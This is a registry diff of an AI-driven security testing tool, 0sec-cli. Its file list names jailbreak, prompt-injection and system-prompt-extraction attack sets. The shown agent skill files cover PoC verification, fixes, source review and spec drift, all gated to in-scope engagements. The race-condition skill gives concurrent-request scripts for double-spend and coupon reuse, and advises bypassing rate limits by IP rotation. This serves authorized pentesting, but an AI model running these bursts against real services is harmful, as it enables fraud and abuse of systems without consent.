0sec-cli 0.15.0 → 0.18.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/0sec.js +327 -0
- package/README.md +68 -48
- package/attacks/data-exfiltration/pii-leakage.yaml +27 -0
- package/attacks/encoding-bypass/base64-encoding.yaml +24 -0
- package/attacks/jailbreak/dan-roleplay.yaml +27 -0
- package/attacks/jailbreak/hypothetical-scenario.yaml +25 -0
- package/attacks/jailbreak/multilingual-bypass.yaml +22 -0
- package/attacks/output-manipulation/harmful-content.yaml +25 -0
- package/attacks/prompt-injection/context-manipulation.yaml +32 -0
- package/attacks/prompt-injection/direct-injection.yaml +28 -0
- package/attacks/prompt-injection/indirect-injection.yaml +33 -0
- package/attacks/system-prompt-extraction/direct-ask.yaml +30 -0
- package/attacks/system-prompt-extraction/markdown-exfil.yaml +26 -0
- package/attacks/tool-misuse/ssrf-via-tools.yaml +27 -0
- package/chunks/adapt-loop-SMH6V4PD.js +18 -0
- package/chunks/adgraph-JLGA6RYI.js +54 -0
- package/chunks/agent/skills/frameworks/entra-id.yaml +63 -0
- package/chunks/agent/skills/frameworks/graphql-introspection.yaml +116 -0
- package/chunks/agent/skills/frameworks/nextjs.yaml +82 -0
- package/chunks/agent/skills/frameworks/python-web.yaml +85 -0
- package/chunks/agent/skills/frameworks/supabase.yaml +83 -0
- package/chunks/agent/skills/frameworks/wordpress-deep.yaml +122 -0
- package/chunks/agent/skills/techniques/ad-attack-paths.yaml +57 -0
- package/chunks/agent/skills/techniques/advisory-disclosure.yaml +59 -0
- package/chunks/agent/skills/techniques/assumption-mining.yaml +53 -0
- package/chunks/agent/skills/techniques/blind-exploitation.yaml +143 -0
- package/chunks/agent/skills/techniques/crypto-misuse.yaml +88 -0
- package/chunks/agent/skills/techniques/cve-poc-adaptation.yaml +82 -0
- package/chunks/agent/skills/techniques/entra-attack-paths.yaml +55 -0
- package/chunks/agent/skills/techniques/http-conformance-diff.yaml +48 -0
- package/chunks/agent/skills/techniques/jwt-attacks.yaml +137 -0
- package/chunks/agent/skills/techniques/kernel-weaponization.yaml +53 -0
- package/chunks/agent/skills/techniques/llm-excessive-agency.yaml +55 -0
- package/chunks/agent/skills/techniques/llm-insecure-output-handling.yaml +56 -0
- package/chunks/agent/skills/techniques/llm-prompt-injection.yaml +54 -0
- package/chunks/agent/skills/techniques/llm-prompt-layer-write.yaml +68 -0
- package/chunks/agent/skills/techniques/llm-rag-poisoning.yaml +57 -0
- package/chunks/agent/skills/techniques/llm-safety-eval.yaml +51 -0
- package/chunks/agent/skills/techniques/npm-ecosystem.yaml +51 -0
- package/chunks/agent/skills/techniques/poc-verification.yaml +55 -0
- package/chunks/agent/skills/techniques/race-condition.yaml +122 -0
- package/chunks/agent/skills/techniques/scoped-fix.yaml +49 -0
- package/chunks/agent/skills/techniques/seedless-depth-review.yaml +59 -0
- package/chunks/agent/skills/techniques/spec-differential.yaml +48 -0
- package/chunks/agent/skills/techniques/variant-hunting.yaml +55 -0
- package/chunks/agent/skills/vulnerabilities/cardano-eutxo-validators.yaml +72 -0
- package/chunks/agent/skills/vulnerabilities/command-injection.yaml +99 -0
- package/chunks/agent/skills/vulnerabilities/deserialization-chains.yaml +106 -0
- package/chunks/agent/skills/vulnerabilities/native-memory-safety.yaml +93 -0
- package/chunks/agent/skills/vulnerabilities/path-traversal.yaml +78 -0
- package/chunks/agent/skills/vulnerabilities/prototype-pollution.yaml +132 -0
- package/chunks/agent/skills/vulnerabilities/request-smuggling.yaml +129 -0
- package/chunks/agent/skills/vulnerabilities/sqli-advanced.yaml +102 -0
- package/chunks/agent/skills/vulnerabilities/ssrf-bypass.yaml +84 -0
- package/chunks/agent/skills/vulnerabilities/ssti-exploitation.yaml +112 -0
- package/chunks/agent/skills/vulnerabilities/structural-sqli.yaml +91 -0
- package/chunks/appsec-catalog-CBWHGTEL.js +24 -0
- package/chunks/artifact-scraper-HQ7HLP6V.js +34 -0
- package/chunks/assumption-mining-5SNIVVDN.js +79 -0
- package/chunks/chunk-242TMK6G.js +110 -0
- package/chunks/chunk-2JCCA2JL.js +381 -0
- package/chunks/chunk-2RMLOJVB.js +47 -0
- package/chunks/chunk-3KPWWJCI.js +1422 -0
- package/chunks/chunk-3MOLBTLS.js +953 -0
- package/chunks/chunk-53G27VPS.js +136 -0
- package/chunks/chunk-57ZENEX2.js +169 -0
- package/chunks/chunk-5G3ZXFBW.js +182 -0
- package/chunks/chunk-5JI7L7KV.js +74240 -0
- package/chunks/chunk-6L26OBWI.js +1094 -0
- package/chunks/chunk-6LKRLK2R.js +542 -0
- package/chunks/chunk-72CISA2D.js +2597 -0
- package/chunks/chunk-7DQEV5QI.js +287 -0
- package/chunks/chunk-AD7WXDH6.js +3250 -0
- package/chunks/chunk-ADOLI6DT.js +102 -0
- package/chunks/chunk-AHTBZC3E.js +596 -0
- package/chunks/chunk-ASUR522M.js +518 -0
- package/chunks/chunk-ATATQACO.js +471 -0
- package/chunks/chunk-BATRQBOR.js +1732 -0
- package/chunks/chunk-BFR2CDV5.js +5735 -0
- package/chunks/chunk-BFRB6HB2.js +235 -0
- package/chunks/chunk-BKZFDZ23.js +361 -0
- package/chunks/chunk-BVAZO4WA.js +193 -0
- package/chunks/chunk-BZNEY2ZS.js +33225 -0
- package/chunks/chunk-C2WXWFBB.js +1070 -0
- package/chunks/chunk-CMKXP5RR.js +917 -0
- package/chunks/chunk-DW5UWPFY.js +275 -0
- package/chunks/chunk-F3WBKITT.js +687 -0
- package/chunks/chunk-GMT2AZKM.js +2439 -0
- package/chunks/chunk-H2FFLZNK.js +3 -0
- package/chunks/chunk-IOL7D5YV.js +515 -0
- package/chunks/chunk-IR537GON.js +49 -0
- package/chunks/chunk-JQHOLLTD.js +3729 -0
- package/chunks/chunk-KLTNTE2Z.js +121 -0
- package/chunks/chunk-LP3HHYQU.js +245 -0
- package/chunks/chunk-MYVT64FN.js +16 -0
- package/chunks/chunk-N7BOUYEV.js +852 -0
- package/chunks/chunk-OEFNRYI2.js +150 -0
- package/chunks/chunk-P6WKNFWX.js +1968 -0
- package/chunks/chunk-QI233I24.js +333 -0
- package/chunks/chunk-RJWOYEOG.js +271 -0
- package/chunks/chunk-RRMJC3ZE.js +105 -0
- package/chunks/chunk-RWONANDA.js +973 -0
- package/chunks/chunk-SAFFWQW4.js +5921 -0
- package/chunks/chunk-SF4KZ4O3.js +502 -0
- package/chunks/chunk-SVJEDVYK.js +808 -0
- package/chunks/chunk-TSK2AG6J.js +5108 -0
- package/chunks/chunk-U5FLXGHT.js +2010 -0
- package/chunks/chunk-UCYRA73C.js +662 -0
- package/chunks/chunk-UR4ELX2Y.js +4784 -0
- package/chunks/chunk-VQG4FT5D.js +685 -0
- package/chunks/chunk-WEBMRWEG.js +9337 -0
- package/chunks/chunk-WU6AFRAZ.js +1167 -0
- package/chunks/chunk-WVTBZEQO.js +1531 -0
- package/chunks/chunk-WXQ6BJ6A.js +596 -0
- package/chunks/chunk-XM5NLHYU.js +600 -0
- package/chunks/chunk-YLMN3N25.js +4054 -0
- package/chunks/chunk-YYRBQVFE.js +2572 -0
- package/chunks/chunk-Z5FA2XOX.js +2798 -0
- package/chunks/commands-TBC2F5CE.js +16999 -0
- package/chunks/corpus-v1.json +403 -0
- package/chunks/cost-ledger-NU63MYZM.js +13 -0
- package/chunks/data/appsec-archetypes.json +102 -0
- package/chunks/data/chromium-archetypes.json +204 -0
- package/chunks/data/freebsd-archetypes.json +171 -0
- package/chunks/data/kernel-archetypes.json +611 -0
- package/chunks/db-KFWOAUUB.js +16 -0
- package/chunks/disclose-EKTWSCGW.js +132 -0
- package/chunks/dist-4MAW5X6L.js +74 -0
- package/chunks/dist-4YICS2J2.js +2776 -0
- package/chunks/dist-FMGSR3DW.js +159 -0
- package/chunks/eval-runner-7ZF472KV.js +27 -0
- package/chunks/example-manifest.json +95 -0
- package/chunks/exploit-agent-45YQOHPJ.js +98 -0
- package/chunks/exploit-autoclimb-UZGEMGYT.js +81 -0
- package/chunks/exploit-climb-SG23KB2G.js +358 -0
- package/chunks/fix-IG7LYXH3.js +12 -0
- package/chunks/github-issues-MJ6OYOOU.js +157 -0
- package/chunks/harness-7ODOLOWU.js +22 -0
- package/chunks/http-conformance-DU66MZIU.js +11 -0
- package/chunks/http-sender-GWH2IYEA.js +10 -0
- package/chunks/hunt-scan-MMKUOETU.js +38 -0
- package/chunks/identity-6ZAIIWOR.js +191 -0
- package/chunks/kernel-primitive-7U6CWHXD.js +44 -0
- package/chunks/kernel-vm-runner-3JAU4O6J.js +62 -0
- package/chunks/memsafety-scan-J7SECV5W.js +16 -0
- package/chunks/native-loop-RJCJPOUS.js +54 -0
- package/chunks/npm-detectors-KB5Y5ZFX.js +69 -0
- package/chunks/npm-dynamic-discovery-AHROOZDB.js +13 -0
- package/chunks/orchestrate-OC2VZN2X.js +62 -0
- package/chunks/pipeline-BZK5BLJR.js +14 -0
- package/chunks/pre-recon-cve-66EB6G4M.js +351 -0
- package/chunks/prepare-MYY743TK.js +13 -0
- package/chunks/process-LQRCS5OY.js +13 -0
- package/chunks/replay-runner-45G3VU7X.js +39 -0
- package/chunks/run-D56MPDKY.js +32716 -0
- package/chunks/runtime-G7YWIO3B.js +43 -0
- package/chunks/runtime-J7PLXZNM.js +12 -0
- package/chunks/scan-stream-FHI2FYZE.js +96 -0
- package/chunks/scope-BI7BF4ZY.js +18 -0
- package/chunks/session-store-GZ4A4KYT.js +28 -0
- package/chunks/source-files-PWRQR6LY.js +12 -0
- package/chunks/specdrift-WCLH6TTQ.js +19 -0
- package/chunks/variant-candidates-YERCYMPD.js +13 -0
- package/chunks/web-recon-prepass-JJGPEOLE.js +1148 -0
- package/dashboard/assets/0sec-icon-66SreztZ.gif +0 -0
- package/dashboard/assets/bot-yILPnRgD.js +1 -0
- package/dashboard/assets/chevron-down-BeDJ-Vka.js +1 -0
- package/dashboard/assets/circle-alert-BEnMBMT-.js +1 -0
- package/dashboard/assets/client-DRYsuOGl.js +9 -0
- package/dashboard/assets/copy-Bi5vzoF9.js +1 -0
- package/dashboard/assets/desktop-CXTQonNm.js +32 -0
- package/dashboard/assets/desktop-NOekk4QS.css +1 -0
- package/dashboard/assets/dist-CmX-h7a4.js +1 -0
- package/dashboard/assets/dist-DAwYQmf_.js +45 -0
- package/dashboard/assets/findings-page-CACW9nw2.js +5 -0
- package/dashboard/assets/format-PoISqsES.js +1 -0
- package/dashboard/assets/geist-cyrillic-ext-wght-normal-DjL33-gN.woff2 +0 -0
- package/dashboard/assets/geist-cyrillic-wght-normal-BEAKL7Jp.woff2 +0 -0
- package/dashboard/assets/geist-latin-ext-wght-normal-DC-KSUi6.woff2 +0 -0
- package/dashboard/assets/geist-latin-wght-normal-BgDaEnEv.woff2 +0 -0
- package/dashboard/assets/geist-vietnamese-wght-normal-6IgcOCM7.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-BSMlKf0J.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-CEL4l2ZJ.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-DMdlQ8Kv.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-xuaO2J-f.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-400-normal-CvHOgSBP.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-400-normal-DMJ8VG8y.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-BmRBH3aV.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-D3D2R8hC.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-BulugwFq.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-DDuiU_S-.woff +0 -0
- package/dashboard/assets/jsx-runtime-C7oxC63R.js +1 -0
- package/dashboard/assets/live-page-DrgQqQK5.js +1 -0
- package/dashboard/assets/meta-tile-CcskIV_o.js +1 -0
- package/dashboard/assets/operations-BKE8T-vY.css +2 -0
- package/dashboard/assets/operations-D8nUP5_m.js +4 -0
- package/dashboard/assets/operations-app-CQQhG54n.js +2 -0
- package/dashboard/assets/overview-page-DTGS8dPo.js +1 -0
- package/dashboard/assets/page-header-MFVvEtZW.js +1 -0
- package/dashboard/assets/play-Dwo-9xt6.js +1 -0
- package/dashboard/assets/scans-page-ChVtq8Us.js +1 -0
- package/dashboard/assets/search-CiooTLck.js +1 -0
- package/dashboard/assets/siren-CCBwTSuk.js +1 -0
- package/dashboard/assets/table-BYS-nIVA.js +1 -0
- package/dashboard/assets/tabs-DivxbhQy.js +1 -0
- package/dashboard/desktop.html +21 -0
- package/dashboard/index.html +15 -0
- package/package.json +30 -18
- package/bin/0sec.cjs +0 -361
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
id: poc-verification
|
|
2
|
+
name: "PoC Verification (Loop-Closer)"
|
|
3
|
+
description: "When to reach for the `verify_finding` engine: replay a persisted finding's proof-of-concept against the real target and get a deterministic pass/fail verdict from the category oracle. This is the LOOP-CLOSER — it turns a LEAD into a CONFIRMED, reproduced finding. Touches the target network, so it is offered only for an active in-scope engagement."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
tags:
|
|
8
|
+
- verification
|
|
9
|
+
- reproduction
|
|
10
|
+
- proof-of-concept
|
|
11
|
+
- deterministic-oracle
|
|
12
|
+
- loop-closer
|
|
13
|
+
triggers:
|
|
14
|
+
- "verify (the|this) (finding|vuln|poc|bug)"
|
|
15
|
+
- "reproduce"
|
|
16
|
+
- "confirm (the|this|it'?s) (finding|exploit|vuln)"
|
|
17
|
+
- "does (it|this) actually (work|reproduce)"
|
|
18
|
+
- "replay (the )?poc"
|
|
19
|
+
estimated_tokens: 700
|
|
20
|
+
content: |
|
|
21
|
+
## PoC verification — closing the loop
|
|
22
|
+
|
|
23
|
+
A finding is a hypothesis until it is REPRODUCED. `verify_finding` replays a
|
|
24
|
+
persisted finding's PoC against the real target and returns a deterministic
|
|
25
|
+
pass/fail verdict from the category oracle — the single most important step
|
|
26
|
+
between "a lead" and "a confirmed, reportable finding".
|
|
27
|
+
|
|
28
|
+
### Scope gate (read this first)
|
|
29
|
+
This tool sends traffic to the TARGET. It is offered ONLY when an engagement
|
|
30
|
+
scope is active — the target (or the explicit in-scope override) must be
|
|
31
|
+
authorized by the scope. Without a scope it is not available; do not attempt
|
|
32
|
+
to verify against a host the engagement does not cover.
|
|
33
|
+
|
|
34
|
+
### How to drive it
|
|
35
|
+
- Pass the `finding_id` of the persisted finding to replay. Optionally pass a
|
|
36
|
+
`target` override — but it must be IN SCOPE; an out-of-scope override is
|
|
37
|
+
refused.
|
|
38
|
+
- The engine loads the finding, rebuilds its reproduction bundle, replays the
|
|
39
|
+
deterministic PoC, and runs the category-specific oracle to decide the
|
|
40
|
+
verdict.
|
|
41
|
+
|
|
42
|
+
### Reading the verdict
|
|
43
|
+
- A PASS means the oracle observed the exact expected effect (the reflected
|
|
44
|
+
marker, the state change, the leaked value, the timing signal) — this is a
|
|
45
|
+
reproduced finding, safe to escalate toward disclosure.
|
|
46
|
+
- A FAIL means the PoC did not reproduce as recorded. That is NOT proof the
|
|
47
|
+
bug is absent — the target may have changed, the payload may need
|
|
48
|
+
adaptation, or the PoC was flaky. Re-examine the evidence and the oracle
|
|
49
|
+
category before discarding.
|
|
50
|
+
|
|
51
|
+
### Where it sits
|
|
52
|
+
- Every lead from `deep_source_review`, `variant_hunt`, `assumption_hunt`, or
|
|
53
|
+
a scanner should pass through here before it is treated as real.
|
|
54
|
+
- A verified finding is the right input to `generate_fix` (remediation) and
|
|
55
|
+
`assemble_advisory` (disclosure draft).
|
|
@@ -0,0 +1,122 @@
|
|
|
1
|
+
id: race-condition
|
|
2
|
+
name: "Race Condition Exploitation"
|
|
3
|
+
description: "TOCTOU, limit-overrun, double-spend, and file race exploitation techniques"
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles: [attack, audit]
|
|
6
|
+
tags: [race-condition, toctou, concurrency, parallel, double-spend, limit-overrun, time-of-check]
|
|
7
|
+
triggers:
|
|
8
|
+
- "race.condition"
|
|
9
|
+
- "TOCTOU"
|
|
10
|
+
- "time.of.check"
|
|
11
|
+
- "double.spend"
|
|
12
|
+
- "limit.*overrun"
|
|
13
|
+
- "coupon.*reuse"
|
|
14
|
+
- "discount.*appl"
|
|
15
|
+
- "transfer.*balance"
|
|
16
|
+
- "redeem"
|
|
17
|
+
- "concurrent"
|
|
18
|
+
- "atomic"
|
|
19
|
+
- "rate.limit"
|
|
20
|
+
- "one.time.*use"
|
|
21
|
+
- "single.use"
|
|
22
|
+
- "insufficient.*funds"
|
|
23
|
+
estimated_tokens: 650
|
|
24
|
+
content: |
|
|
25
|
+
## Race Condition Exploitation
|
|
26
|
+
|
|
27
|
+
### Concept
|
|
28
|
+
Race conditions occur when an application checks a condition (balance, coupon validity, file existence) and then acts on it in a separate step, with no atomic lock. An attacker sends concurrent requests to exploit the gap between check and use.
|
|
29
|
+
|
|
30
|
+
### Step 1: Identify Race-Prone Endpoints
|
|
31
|
+
Look for operations that involve:
|
|
32
|
+
- **Balance/credit**: transfer money, redeem points, use wallet balance
|
|
33
|
+
- **Coupon/discount**: apply promo code, one-time-use voucher
|
|
34
|
+
- **Inventory**: purchase limited-stock item, claim reward
|
|
35
|
+
- **Account**: change email/password (TOCTOU on verification), upgrade plan
|
|
36
|
+
- **File operations**: upload then process, write then read, create then check
|
|
37
|
+
- **Token/OTP**: verify reset token, validate 2FA code (single-use tokens reused in window)
|
|
38
|
+
|
|
39
|
+
### Step 2: Last-Byte Synchronization (Turbo Intruder Technique)
|
|
40
|
+
The key challenge is making requests arrive simultaneously. Network jitter defeats naive parallel sends.
|
|
41
|
+
|
|
42
|
+
**HTTP/1.1 last-byte sync**:
|
|
43
|
+
1. Open N connections to the target (e.g., 20)
|
|
44
|
+
2. Send all request data EXCEPT the final byte on each connection
|
|
45
|
+
3. Wait until all connections are ready
|
|
46
|
+
4. Send the final byte on all connections simultaneously
|
|
47
|
+
This ensures all requests arrive at the server within microseconds.
|
|
48
|
+
|
|
49
|
+
**curl parallel implementation**:
|
|
50
|
+
```bash
|
|
51
|
+
# Simple parallel burst — 20 simultaneous requests
|
|
52
|
+
seq 1 20 | xargs -P 20 -I{} curl -s -o /dev/null -w "%{http_code}\n" \
|
|
53
|
+
-X POST TARGET/api/redeem -H "Cookie: session=TOKEN" \
|
|
54
|
+
-d '{"code":"SINGLE-USE-COUPON"}'
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
**Python with threading for precise timing**:
|
|
58
|
+
```python
|
|
59
|
+
import requests, threading
|
|
60
|
+
barrier = threading.Barrier(20)
|
|
61
|
+
results = []
|
|
62
|
+
def fire():
|
|
63
|
+
barrier.wait() # all threads release together
|
|
64
|
+
r = requests.post("TARGET/api/transfer",
|
|
65
|
+
cookies={"session": "TOKEN"},
|
|
66
|
+
json={"to": "attacker", "amount": 1000})
|
|
67
|
+
results.append(r.status_code)
|
|
68
|
+
threads = [threading.Thread(target=fire) for _ in range(20)]
|
|
69
|
+
for t in threads: t.start()
|
|
70
|
+
for t in threads: t.join()
|
|
71
|
+
print(results)
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
**HTTP/2 single-packet attack** (most precise):
|
|
75
|
+
- HTTP/2 multiplexes streams on one connection — send 20 requests in a single TCP packet
|
|
76
|
+
- All hit the server simultaneously with zero network jitter
|
|
77
|
+
- Use Turbo Intruder's `race-single-packet-attack.py` template or `h2spacer`
|
|
78
|
+
|
|
79
|
+
### Step 3: Common Attack Patterns
|
|
80
|
+
|
|
81
|
+
**Limit overrun (double-spend)**:
|
|
82
|
+
- Balance check: `if balance >= amount` → deduct → but 20 requests all see original balance
|
|
83
|
+
- Expected result: balance goes negative, or item purchased multiple times with one payment
|
|
84
|
+
- Evidence: compare balance before and after — negative balance or excess items proves the race
|
|
85
|
+
|
|
86
|
+
**Coupon/promo reuse**:
|
|
87
|
+
- Single-use code accepted multiple times in parallel
|
|
88
|
+
- Send 20 concurrent `POST /apply-coupon` with the same code
|
|
89
|
+
- Count successful 200 responses — more than 1 success = vulnerability
|
|
90
|
+
|
|
91
|
+
**Registration/invite race**:
|
|
92
|
+
- Limited invite codes, early-access slots, or username reservation
|
|
93
|
+
- Parallel requests can all succeed before the "already used" check fires
|
|
94
|
+
|
|
95
|
+
**File race (TOCTOU)**:
|
|
96
|
+
- Upload file → server checks file type → processes file
|
|
97
|
+
- Race: upload benign file, then immediately replace it with malicious one before processing
|
|
98
|
+
- Or: create symlink race between check and use
|
|
99
|
+
|
|
100
|
+
**Password reset race**:
|
|
101
|
+
- Request reset token → use token → token invalidated
|
|
102
|
+
- Send parallel requests using the same reset token before invalidation
|
|
103
|
+
|
|
104
|
+
### Step 4: Detection Signals
|
|
105
|
+
How to know you hit a race:
|
|
106
|
+
- More successful responses than expected (e.g., 15 out of 20 coupon applies succeed)
|
|
107
|
+
- Balance/counter goes below zero or beyond expected limits
|
|
108
|
+
- Duplicate records created in database
|
|
109
|
+
- Inconsistent state visible in subsequent GET requests
|
|
110
|
+
|
|
111
|
+
### Step 5: Proof Construction
|
|
112
|
+
- Screenshot or log showing pre-race balance/state
|
|
113
|
+
- Show parallel request execution (timestamps within <10ms of each other)
|
|
114
|
+
- Screenshot or log showing post-race state (negative balance, multiple redemptions)
|
|
115
|
+
- For file races: show the uploaded file was processed as the malicious version
|
|
116
|
+
|
|
117
|
+
### Gotchas
|
|
118
|
+
- Some frameworks use database transactions or row-level locks — races won't work
|
|
119
|
+
- Redis-based atomic operations (DECR, SETNX) resist races
|
|
120
|
+
- Retry on failure: if first burst doesn't work, increase concurrency (50-100 threads)
|
|
121
|
+
- Network proximity matters: run from the same datacenter or region if possible
|
|
122
|
+
- Rate limiting may need to be bypassed first (IP rotation, header manipulation)
|
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
id: scoped-fix
|
|
2
|
+
name: "Scoped Fix Generation"
|
|
3
|
+
description: "When to reach for the offline `generate_fix` engine: for a REPRODUCED finding, generate a minimal, scoped patch that closes the vulnerability without changing unrelated behaviour. Offline — it reads the finding focus + the affected source and produces a candidate diff; it never touches the target network and never applies the patch itself. The remediation half of the loop."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
- review
|
|
9
|
+
tags:
|
|
10
|
+
- remediation
|
|
11
|
+
- fix
|
|
12
|
+
- patch
|
|
13
|
+
- scoped-fix
|
|
14
|
+
- source-review
|
|
15
|
+
triggers:
|
|
16
|
+
- "generate (a )?fix"
|
|
17
|
+
- "remediat"
|
|
18
|
+
- "patch (the|this) (finding|vuln|bug)"
|
|
19
|
+
- "how (do i|to) fix"
|
|
20
|
+
- "scoped fix"
|
|
21
|
+
estimated_tokens: 600
|
|
22
|
+
content: |
|
|
23
|
+
## Scoped fix generation (offline)
|
|
24
|
+
|
|
25
|
+
Finding a bug is half the job; a credible, MINIMAL fix is what makes it
|
|
26
|
+
actionable. `generate_fix` produces a candidate patch for a finding that has
|
|
27
|
+
already been reproduced.
|
|
28
|
+
|
|
29
|
+
### How to drive it
|
|
30
|
+
- Pass the `finding_id` (the reproduced finding to remediate) and, when the
|
|
31
|
+
source is not already the scoped path, the `repo` / source path. The engine
|
|
32
|
+
loads the finding's focus (the vulnerable file/lines + evidence) and the
|
|
33
|
+
surrounding source, then produces a scoped diff.
|
|
34
|
+
|
|
35
|
+
### What "scoped" means here
|
|
36
|
+
- The patch should close the vulnerability and NOTHING else: no refactors, no
|
|
37
|
+
behaviour changes on the valid path, the smallest change that adds the
|
|
38
|
+
missing guard / fixes the boundary / corrects the check.
|
|
39
|
+
- It is generated OFFLINE and is NOT applied automatically. Treat the diff as
|
|
40
|
+
a proposal: read it, confirm it actually blocks the reproduced PoC and does
|
|
41
|
+
not break the legitimate path, then apply it through your normal edit/patch
|
|
42
|
+
flow.
|
|
43
|
+
|
|
44
|
+
### Where it sits in the loop
|
|
45
|
+
- Reproduce first (`verify_finding`), then `generate_fix`. A fix for an
|
|
46
|
+
UNREPRODUCED finding is speculation — prefer to confirm the bug is real and
|
|
47
|
+
reachable before proposing a patch.
|
|
48
|
+
- After patching, a variant hunt (`variant_hunt`) off the same fix diff finds
|
|
49
|
+
sibling sites the single patch missed.
|
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
id: seedless-depth-review
|
|
2
|
+
name: "Seedless Depth Source Review"
|
|
3
|
+
description: "When to reach for the offline source-review engines: `deep_source_review` (seedless depth method — specialized finder lenses × a multi-lens refute quorum) and `file_security_review` (whole-repo regex → coverage gate → batched AI investigation, resumable). Both read source only; neither touches the target network."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
- review
|
|
9
|
+
tags:
|
|
10
|
+
- source-review
|
|
11
|
+
- deep-review
|
|
12
|
+
- depth-review
|
|
13
|
+
- finder-lens
|
|
14
|
+
- file-review
|
|
15
|
+
- static-analysis
|
|
16
|
+
triggers:
|
|
17
|
+
- "deep review"
|
|
18
|
+
- "depth review"
|
|
19
|
+
- "finder lens"
|
|
20
|
+
- "source review"
|
|
21
|
+
- "review the (repo|codebase|source|code)"
|
|
22
|
+
- "whole-repo"
|
|
23
|
+
estimated_tokens: 750
|
|
24
|
+
content: |
|
|
25
|
+
## Seedless depth review of a source tree (offline)
|
|
26
|
+
|
|
27
|
+
When the task is "find bugs in this source tree" and you have no seed fix diff
|
|
28
|
+
to derive variants from, reach for one of two offline engines instead of
|
|
29
|
+
ad-hoc grepping.
|
|
30
|
+
|
|
31
|
+
### `deep_source_review` — the depth method
|
|
32
|
+
- Enumerates candidate files from the tree, then re-hunts each through
|
|
33
|
+
specialized **finder lenses** (memory-safety, input-validation, authz/logic,
|
|
34
|
+
secrets/crypto, plus the appsec pack) and gates survivors through a
|
|
35
|
+
**multi-lens refute quorum** — every lens re-reads and tries to refute.
|
|
36
|
+
- Drive it with `target` (a local path); bound cost with `max_candidates`
|
|
37
|
+
(largest-first, default 8), `concurrency`, and `cost_ceiling_usd`. Use
|
|
38
|
+
`subsystem` to narrow a large tree (there is a 5000-file review cap).
|
|
39
|
+
- **Output is LEADS, not confirmed bugs.** Each lead survived the refute
|
|
40
|
+
quorum but is not proven. Verify the real sink and impact — trace the taint
|
|
41
|
+
from a concrete entry point — before you report or disclose.
|
|
42
|
+
|
|
43
|
+
### `file_security_review` — whole-repo, resumable
|
|
44
|
+
- A different shape: free regex scan → coverage gate → batched AI
|
|
45
|
+
investigation (refusal audit + field repair) → optional static revalidate.
|
|
46
|
+
- Drive it with `target`; bound with `max_cost_usd` / `max_duration_ms`,
|
|
47
|
+
`batch_size`, `concurrency`; set `revalidate: true` to adversarially
|
|
48
|
+
re-check HIGH+ findings.
|
|
49
|
+
- **It is resumable.** `exitCode === 3` means a cost/duration limit stopped
|
|
50
|
+
the run at a checkpoint — re-run the same tool on the same target to
|
|
51
|
+
continue. Treat exit 3 as "paused", not "failed".
|
|
52
|
+
|
|
53
|
+
### Choosing between them
|
|
54
|
+
- Use `deep_source_review` for a focused, lens-driven depth pass on the files
|
|
55
|
+
most likely to hold a serious bug.
|
|
56
|
+
- Use `file_security_review` for broad whole-repo coverage with a durable,
|
|
57
|
+
resumable record store.
|
|
58
|
+
- Either way, a clean run with zero findings is a valid outcome — not proof of
|
|
59
|
+
perfection, but also not a failure.
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
id: spec-differential
|
|
2
|
+
name: "Specification Differential"
|
|
3
|
+
description: "When to reach for the `spec_drift` engine: extract the invariants a target is SUPPOSED to enforce (from an OpenAPI/spec) and probe the live target for DRIFT — endpoints, params, auth requirements, and status/shape contracts the implementation violates. A network differential between the documented contract and the real behaviour. Sends live traffic, so it is offered only for an active in-scope engagement."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
tags:
|
|
8
|
+
- spec-drift
|
|
9
|
+
- openapi
|
|
10
|
+
- differential
|
|
11
|
+
- contract
|
|
12
|
+
- shadow-api
|
|
13
|
+
- broken-object-level-authz
|
|
14
|
+
triggers:
|
|
15
|
+
- "spec.?drift"
|
|
16
|
+
- "openapi|swagger"
|
|
17
|
+
- "(api )?spec (differential|drift|mismatch)"
|
|
18
|
+
- "shadow (api|endpoint)"
|
|
19
|
+
- "undocumented (endpoint|param)"
|
|
20
|
+
estimated_tokens: 650
|
|
21
|
+
content: |
|
|
22
|
+
## Specification differential (live)
|
|
23
|
+
|
|
24
|
+
An API's spec is a statement of intent; the implementation is the reality.
|
|
25
|
+
Where they DRIFT is where bugs live — an endpoint that ignores a documented
|
|
26
|
+
auth requirement, an undocumented "shadow" parameter, a response that leaks a
|
|
27
|
+
field the schema hides, a status contract the server breaks. `spec_drift`
|
|
28
|
+
extracts the spec's invariants and probes the live target for those gaps.
|
|
29
|
+
|
|
30
|
+
### Scope gate (read this first)
|
|
31
|
+
This tool sends requests to the TARGET. It is offered ONLY when an engagement
|
|
32
|
+
scope is active and the target is in scope. Without a scope it is not
|
|
33
|
+
available.
|
|
34
|
+
|
|
35
|
+
### How to drive it
|
|
36
|
+
- Pass the `target` (an in-scope base URL) and the `spec` (an OpenAPI/schema
|
|
37
|
+
document or excerpt). The engine runs `extractSpecInvariants` to derive the
|
|
38
|
+
